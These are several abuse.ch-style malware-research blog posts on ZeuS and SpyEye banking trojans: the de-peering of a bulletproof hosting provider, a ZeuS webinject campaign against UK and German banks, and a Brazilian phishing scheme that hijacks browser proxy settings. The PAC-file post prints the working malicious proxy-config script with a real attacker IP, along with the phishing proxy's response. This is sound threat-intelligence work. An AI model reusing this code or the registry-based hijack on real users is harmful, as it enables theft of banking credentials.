After my chat with GlobalNet the situation improved by the end of 2010. Unfortunately, VLine Telecom still didn’t care about any abuse that came from their networks or their IP transit customers. This resulted in new ZeuS C&C servers popped up there pretty quickly. I had to reach out again to GlobalNet on December 27 2010 with another request to de-peer VLine Telecom immediately.

GlobalNet (as the uptream provider) reached out to VLine Telecom with a request to solve these problems immediately. As a result of the pressure made by GlobalNet, VLine Telecom disconnected the first Bulletproof hoster from the internet:

On January 5th, I was pretty surprised when VLine Telecom suddenly changed their routes and started to route all their traffic over RUNNet.ru, which is the Russian Federal University Network. I guess that VLine Telecom just had enough of GlobalNet null routing all IPs that I reported to them, so they obviously decided to switch to a different upstream provider. At the same time I received an email from VLine Telecom asking me to send any information concerning abuse in their network directly to them instead of to their upstream provider. As VLine contacted me, I decided to give them a chance, so I replied with a long email that contained a list of abuse issues from their networks (you can imagine that the list of current issues was huge). A few minutes later, I received a response from VLine Telecom where they told me that they had blocked the mentioned IP addresses. I was pretty surprised that they had taken action. But unfortunately I made one big mistake: I believed what VLine Telecom told me…

A few hours after the reply from VLine Telecom that they had banned the mentioned IP addresses, I noticed that the hosts were still reachable, but NOT from my IP address. I did some research and I found out that all of the associated networks was blocking traffic which comes from ZeuS Tracker.

You can imagine that I got pretty angry about this, so I decided to reach out to RUNNet.ru with an immediate de-peering request for VLine Telecom. One hour later I got the following message from RUNNet.ru:

A short trace route from different locations just confirmed what RUNNet told me in their email: VLine Telecom was no longer being routed through RUNNet! After the disconnect, it took VLine Telecom just 4 minutes to tell RUNNet and me that they had disconnected all IP transit customers.

After some downtime of VLine Telecom (and of course all their customers) GlobalNet decided to start routing of VLine Telecom again through GlobalNet’s network. As soon as they were up and running again we checked that the before mentioned networks were no longer being routed by VLine Telecom.

*** Current status ***
As of January 22nd, VLine Telecom is routed through GlobalNet Russia and the mentioned 9 networks above are not being announced in the global routing table. It didn’t get so far as to get VLine Telecom permanently disconnected, but I think I made a pretty good arrangement with GlobalNet to monitor the situation of their downstreams for a while.

*** Further takedowns ***
On January 17th, I was informed about another takedown; this time it was an ISP called ONLINENET SPD Andreychuk Andrey Alekseevich (AS50722) which had been disconnected by its upstream provider called ISV4 (AS21379 – intersv.com). Because ONLINENET provided IP transit to another 5 bulletproof hosters, these also were forced offline in January 2011:

*** What we have learned from the VLine-case ***
While investigating the VLine-case I made a lot of new experiences. The first and most relevant one is: Not every Russian speaking guy is a cybercriminal

When I started my investigation at GlobalNet and RUNNet I was completely unsure whether I could trust them or not. Today I know that I can trust them and that they have done (and of course are still doing) a very good job to solve the issues within their responsibility.

With the knowledge that I gained in the VLine-case I’m now able to draw the following network map:

The second thing I learned is that there are often language problems. As you see in the chart above I (still) consider VLine as bad. However, I have to say that some times I had the feeling that they just didn’t know what they were doing (from a technical perspective) and that they didn’t understand what I wanted to tell them (language problem).

Anyway, I still have the opinion that VLine Telecom should be permanently disconnected, but I also know that they now are aware of the situation and that the whole world is now (at least after this blog post) watching their behaviour and actions closely.

Last but not least I would like to thank GlobalNet Russia and RUNNet for all their efforts and their help to get the problem with VLine Telecom solved.

Follow me on Twitter: twitter.com/abuse_ch

In this first blog post I will talk about a ZeuS botnet which I call the “Bozvanovna Botnet”, which is being spread using drive-by exploits (hopefully I will find the time to blog about the other botnets that I’ve found too…).

First of all, let’s take a look at the botnet Command&Control infrastructure: The cybercriminals have registered a pretty big amount of domains to serve ZeuS configs and binaries as well as to provide a dropzone for the infected clients (bots) to upload the stolen information. The reason for this is pretty simple: In most cases the domains that get listed on ZeuS Tracker will get nuked quickly. Then the cybercriminals have to register new domains every time the old domains get suspended.

Below is a list of the domains that were associated with the Bozvanovna Botnet and that ZeuS Tracker came across of:

The first domain popped up on 2010-10-18, but it looks like the Bozvanovna gang has been operating at least since July 2010. Fortunately, it’s pretty easy to detect those domains that are associated with that specific botnet, because in most of the cases they are using the same URL scheme:

• ZeuS Config file: 000XYYY.so
• ZeuS Binary file: 000XYYY.exe
• ZeuS Dropzone: i.php

Where X is an alphabetic letter (eg n or x) and Y a numeric character (eg 2 or 123).

Another point which pops up when we take a look at the list above is that most of the domains are hosted at a well known bulletproof hosting provider named VolgaHost and is located in Russia:

According to CIDR Report, VolgaHost is being routed through AS39307 – DCOMM-UA-AS Digital Communications Ltd. Both ASs can be considered 100% malicious and should therefore not be routed. But let’s get back to the Bozvanovna botnet…

When I took a look at the ZeuS config files of the Bozvanovna botnet (they are using ZeuS version 2.0.7.0), I was really surprised as I saw how many financial instutions they are targeting. Below is a list of the targets of this ZeuS campaign which I’ve seen so far:

• NatWest
• HSBC
• Nationwide
• Lloyds TSB
• Co-operative bank
• Bank of Scotland
• Yorkshire Bank
• Halifax
• Postbank
• Sparkasse
• Barclays
• Commerzbank

Like most ZeuS campaigns, the Bozvanovna botnet is also using so-called Webinjects to phish credentials and steal money from the victims online bank account. The Bozvanovna botnet is using different Webinjects, some of them are implemented in the ZeuS config file and some of them are hosted on a server on the internet (to generate webinjects dynamically). In total I’ve seen two domains which are being used to implement the webinjects:

Both domain names are currently active and what is even more interesting: Both domain names are using HTTPS with a valid certificate. This is actually not that uncommon: A lot of the recent ZeuS campaigns I’ve seen are using valid SSL certificates to avoid browser warnings on the client side during the ebanking session.

The webinjects as well as the server side scripts are (as in most of the cases) pretty complex. What I’ve seen in the Bozvanovna ZeuS campaign is that they can switch the targets of their interest pretty easily by using some kind of switcher to turn the campaign targeting a special bank on or off. Therefore they have defined a lot webinjects in the ZeuS config file for a lot of differnet financial institutions. As soon as they want to activate a campaign, they just have to change the switcher on the webinject server to on (by using this switcher they don’t have to change the config file every time they want to change the targets of their campaign). Let take a look at a target in the ZeuS config file of Bozvanovna:

The Target URL defines the target of this Webinject. The cybercriminal can then define at which point of the online banking site they want to replace or insert code (data_before / data_after). In this example ZeuS will add a lot of HTML- and Javascript code (data_inject) after the head-tag. What is interesting in this example is that the victims browser will load additional code from bozvanovna.com using java script. As already mentioned before you see that they are using HTTPS to load that code from bozvanovna.com.

If we take a look at this URL referenced in the ZeuS config file, we will see the following content:

It looks like the cybercriminals have disable the phishing campaign against this target, but they can change that pretty easily:

If we now take another look at the same URL again, we will see that there is now a lot of HTML code being served from bozvanovna.com and injected into the online banking session of the victim:

What we see on the code snippet above is that the phishing campaign against this target is now active. ZeuS will now phish the credentials for the online bank account and display the error message “We have problem with online service. Try again later, sorry for any inconvenience” to the victim.

We have seen that the webinjects are pretty complex. So we have to ask ourselves: Is this really going to work? I can tell you: yes it is! Below is a screenshot of a log which is generated by the webinject backend:

The log file is huge and contains information about:

• Timestamp
• Victims IP address
• Victims Bank
• User Agent (Browser)
• Customer Number (Account number)
• Memorable Data
• Passnumber
• Available amount of cash

You can also see that some of the victims are using Firefox. So you can even be targeted by such phishing attacks when you are using Firefox for your online banking sessions. Another interesting point in the logfiles are the timestamps: They have attacked the Nationet Internet Banking from October 14th to October 21th. Afterwards it seems that they have stopped the phishing campaign against this bank for some time by turning of the switcher (about which I have talked before). Since December 17th they are targeting the bank again.

But there is one fact that scares me much more than anything else: I saw a couple of victims which have logged in to their online banking account which are tagged as Business or Corporate online. When I do a whois on the victims IPs I saw that these IPs belongs to corporate customers within Europe. In fact this means that the cybercriminals are also targeting business customer and therefore they have access to a lot of money (you can imagine that there is more money on a business bank account than on a bank account of a private customer).

If we look at the admin panel of the server which is hosting the webinjects, we see that the cybercriminals have already grabbed a lot of information about the bank accounts of their victims. Below is just a very small screenshot of the admin panel (called personal room) on bozvanovna.com

The bank account which I’ve outlined in the screenshot above currently has a balance of 371’535.26 pounds. And now imagine: The entry table has 600 bank accounts listed! So there is a lot of money on those accounts….

Finally, let’s take a short look at the Bozvanovna botnet. Fortunately I had the chance to sinkhole a handfull domains which are associated with the Bozvanovna botnet and which are being used to control the botnet. Therefore I’m able to provide some information about the Bozvanovna botnet geo location:

As shown in the pie chart above, most infected clients are located in Great Britain (GB) and Germany (DE). That’s not really surprising, because the financial institutions targeted by the Bozvanovna ZeuS campaign are mainly located in those countries.

*** Conclusion ***
While ZeuS and Spyeye obviously merged some months ago, we can see that ZeuS is still around (at least for now). The Bozvanovna ZeuS campaign is a good example on how sophisticated and complex the attacks on finanical insitutions are today.

If you want to mitigate the ZeuS threat in your network, I recommend you use one of ZeuS Tracker blocklists:

https://zeustracker.abuse.ch/blocklist.php

Follow me on Twitter: http://twitter.com/abuse_ch

During the last few weeks SpyEye (a Crimeware kit like ZeuS) has obtained a lot of media attention. In October 2010 it came out that ZeuS merges with SpyEye. There has been a lot of speculations on this topic and it looks like that after the recent ZeuS arrests (see link one / link two) it got to hot for the author of the ZeuS Crimeware so he decided to stop developing and selling the ZeuS Crimeware Kit. Additionally the ZeuS Author has passed the source code of the ZeuS Trojan over to the SpyEye author.

So what does that mean for the Security Community? Personally I think there are two scenarios:

1. SpyEye will become the new super banking trojan
2. Even if ZeuS is dead it will stay as a rival of SpyEye and the cybercriminals won’t stop using it as long as ZeuS works well

From what I’ve seen and heard during the past days I think most likely ZeuS will stay at the top of the most used Crimeware kits aswell as stay as a rival of SpyEye. But that doesn’t matter anyway: To stay on the secure side I’ve decided to do some effort that SpyEye will not get the next ‘ZeuS’ Trojan. My goal is to put SpyEye into the spotlight before it becomes a ‘big’ threat like ZeuS was in the past (in the bloom time ZeuS Tracker has tracked over 200 active ZeuS C&Cs). To reach this goal I’ve developed another tracking system for ISPs, CERTs and law enforcement. Introducing: SpyEye Tracker.

*** Some words about SpyEye Tracker ***

There isn’t a really big difference between SpyEye Tracker and ZeuS Tracker. As a side note please let me mention that not all features which are available on ZeuS Tracker are yet implemented on SpyEye Tracker at this time. I will try to fix the missing features during the next few weeks.

What is new on SpyEye Tracker is the news section where I’ve planned to publish a new post whenever I make a change to the SpyEye Tracker.

If you have any question please don’t hesitate to drop me a line using the contact form.

Enjoy

You can also follow abuse.ch on Twitter: twitter.com/abuse_ch

*** Further links ***

• abuse.ch: SpyEye Tracker
• Symantec: SpyEye Bot versus Zeus Bot
• KrebsonSecurity: SpyEye v. ZeuS Rivalry Ends in Quiet Merger
• FBI: Over 60 people charged in ZeuS Trojan cybercrime
• Financial Times: Zeus cyber gang brought in $40m”>
• Prevx Blog: SpyEye steals your data. Even in a limited account
• TrendMicro Blog: The SpyEye Interface, Part 1: CN 1
• TrendMicro Blog: The SpyEye Interface Part 2: SYN 1
• SANS Whitepaper: Clash of the Titans: ZeuS v SpyEye
• Damballa Blog: Spy vs SpyEye Part 2: Traffic, Targets and Taxonomy

While taking a look at the latest malware binaries on AMaDa I came across a sample which have made a suspicious GET request to a .CH website. The HTTP GET request made by the infected machine looks like this:

The request was made to a hijacked website, therefore I’ve disclosed the address. But what I can say is that the website happens to belong to a Swiss party of the right wing.

The content the infected machine got back from the site looks very suspicious:

<script type='text/javascript'>
function FindProxyForURL(url, host) {
var d = new Array("www.bradesco.com.br","bradesco.com.br","bradesco.com",
"www.bradescoprime.com.br","bradescoprime.com.br");
for(var i =0;i<d.length;i++) { if (shExpMatch(host, d[i])) {
return "PROXY 216.108.232.211:80"; } }

var n = new Array("www.bb.com.br","bb.com.br","www.bancodobrasil.com.br",
"bancodobrasil.com.br","www.bancobrasil.com.br","bancobrasil.com.br",
"www.itau.com.br","itau.com.br","www.itaupersonnalite.com.br",
"itaupersonnalite.com.br","banrisul.com.br","www.banrisul.com.br",
"real.com.br","www.real.com.br","www.bancoreal.com.br","bancoreal.com.br",
"www.santander.com.br","santander.com.br","www.banespa.com.br","banespa.com.br");
for(var i =0;i<n.length;i++) { if (shExpMatch(host, n[i])) {
return "PROXY 216.108.232.211:80"; } }

var c = new Array("www.caixa.gov.br","caixa.gov.br","internetbanking.caixa.com.br",
"www.caixa.com.br","caixa.com.br","www.cef.gov.br","cef.gov.br",
"www.cef.com.br","cef.com.br","www.caixaeconomica.com.br","caixaeconomica.com.br");
for(var i =0;i<c.length;i++) { if (shExpMatch(host, c[i])) {
return "PROXY 216.108.232.211:80"; } }

return "DIRECT"; }

Hum… JavaScript code. Does it ring a bell? That’s a PAC file! For those who are not familiar with PAC files: A PAC file is a so called Proxy Auto-Config file which is supported by various web browser to automatically configure the proxy settings of the browser. PAC files are most often used in cooperate networks to tell the web browser to automatically choose the appropriate proxy server (see Wikipedia).

But one question remains: What’s the intend of this PAC file? Well as you probably noticed there are some interesting domain names defined in the PAC file for example internetbanking.caixa.com.br. If you visit the domains listed above you will notice that all of them are websites of Brazilian Banks.

In fact this means: Whenever a victim visits a website listed in the PAC file using a infected computer, the request will be routed thorught the following web proxy which is located in the USA:

OK, let’s summarize: The victims browser is now using a web proxy which is obviously managed by cybercriminals and used to steal credentials of online banking accounts. But how do the cybercriminals manage to get the credentials? Remember that you can not easily do a man in the middle (MITM) attack on an ebanking session due to the fact that you are using SSL to communicate with your online bank. So if they would do a MITM between your computer and your online bank you would get a certificate warning from your web browser, right?

I was very curious as to how the cybercriminals solved this problem, so I decided to infect a VM with the Trojan and take a closer look at it.

After infecting the computer with the Trojan I tried to open www.google.ch in the web browser:

Let’s do a short crosscheck on this:

Looks good: The web browser communicated directly to www.google.ch (209.85.135.104) without using the cybercriminal’s proxy.

Let’s do another test and this time we use www.banrisul.com.br which is listed in the PAC-file. This means that for this URL the web browser should use the web proxy instead of going to the website directly:

A short crosscheck:

As expected the web browser uses the cybercriminal’s web proxy (216.108.232.211) instead of connecting to the banks website directly – that’s bad. What is interesting is the content which we get back from the cybercriminal’s web proxy:

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 302
Connection: close
Content-Type: text/html; charset=UTF-8

<title>Portal Internet Banrisul  | Banco do Estado do Rio Grande do Sul, S.A. </title>
<LINK REL="SHORTCUT ICON" href="banrisul.ico" type="image/x-icon">
<frameset rows="100%" border="0" frameborder="0" framespacing="0"><br /><br />
<frame name=top src=http://www.moser.in.rs/_//banrisul></frameset>

That’s not what I’ve expect: This is not the website of the bank we wanted to visit! It’s simple HTML code with a frameset pointing to a different website:

It’s seems to be a legitimate website running Joomla CMS. So most probably this website is hijacked because if we take a look at the “banrisul” directory we will see a replica of the Bank’s website we originally wanted to visit. In the victims web browser it will look like this:

Please notice that the address bar still displays the website of the banking site which we originally wanted to visit. But if we move the cursor over a hyper link on the website we will see the website it is really pointing to. If the victim now want to login to his online bank he will get a web form which animates the victim to enter his account number, password and PIN/TAN:

Of course the credentials won’t be submitted to his online bank rather then to the cybercriminals.

Conclusion
This is a pretty interesting example which shows how easy it can be for cybercriminals to obtain credentials for online banking accounts. If we summarize this simple phishing we are able to make the following conclusions:

• The cybercriminals does not need to do a MITM, they just fake the website of your online bank. Pretty simple but very effective!
• Everything that the cybercriminal needs do to on the victims side (client) is to change the address of the PAC-file in the web browser
• To change the that PAC-files address, the cybercriminals doesn’t even need to install a Trojan horse: They just need a small script which changes a registry key
• Therefore there is no Trojan horse which can be detected by the AV vendors because changing the address of the PAC file don’t have to be a malicious activity
• The only chance to mitigate the threat is to detect the malicious script/binaries which change the address of the PAC file before the infection

If the AV-vendors are not able to detect the malicious file before the infection happens, the last line of defense is the network by detecting and mitigating the malicious traffic to the cybercriminal’s web proxy on the network layer. And at least in this case it is another example how poor the AV detection rate can be:

Are the cybercriminals going away from classic eBanking Trojans like ZeuS & Co and go over to the scheme described above? We will see what the future brings…

You can also follow abuse.ch on Twitter: twitter.com/abuse_ch

For those who don’t know: MSRT is being distributed to WinXP, WinVista and Win7 automaticly using Windows Update Service. Of course these are really great news but the thing which worries me a little bit is the fact that Microsoft waited years until they finally added detection for the ZeuS Crimeware. ZeuS has been a big threat in the cyberspace for years and has already managed to steal millions of dollars.

MSRT’s ZeuS detection rate

I thought it would be a good idea to test MSRT’s detection for ZeuS by running some quick tests. I’ve tested 20 ZeuS infection binaries (v2) by infecting a VM with the following test conditions:

Below are the results of my tests:

Microsoft’s Malicious Software Removal Tool was able to identify 10 out of 20 infected systems which is a detection rate of 50%.

Conclusion

During the tests I noticed that in most of the cases you need to run a fullscan with MSRT to detect a ZeuS infection. Please also note that these are some quick tests from my side and don’t necessarily represent the real detection rate of MSRT on ZeuS.

I’m really curious about the number of infections detected by MSRT world wide. Hopefully Microsoft will publish some data in the next few days.

PS: You can also follow abuse.ch on Twitter: twitter.com/abuse_ch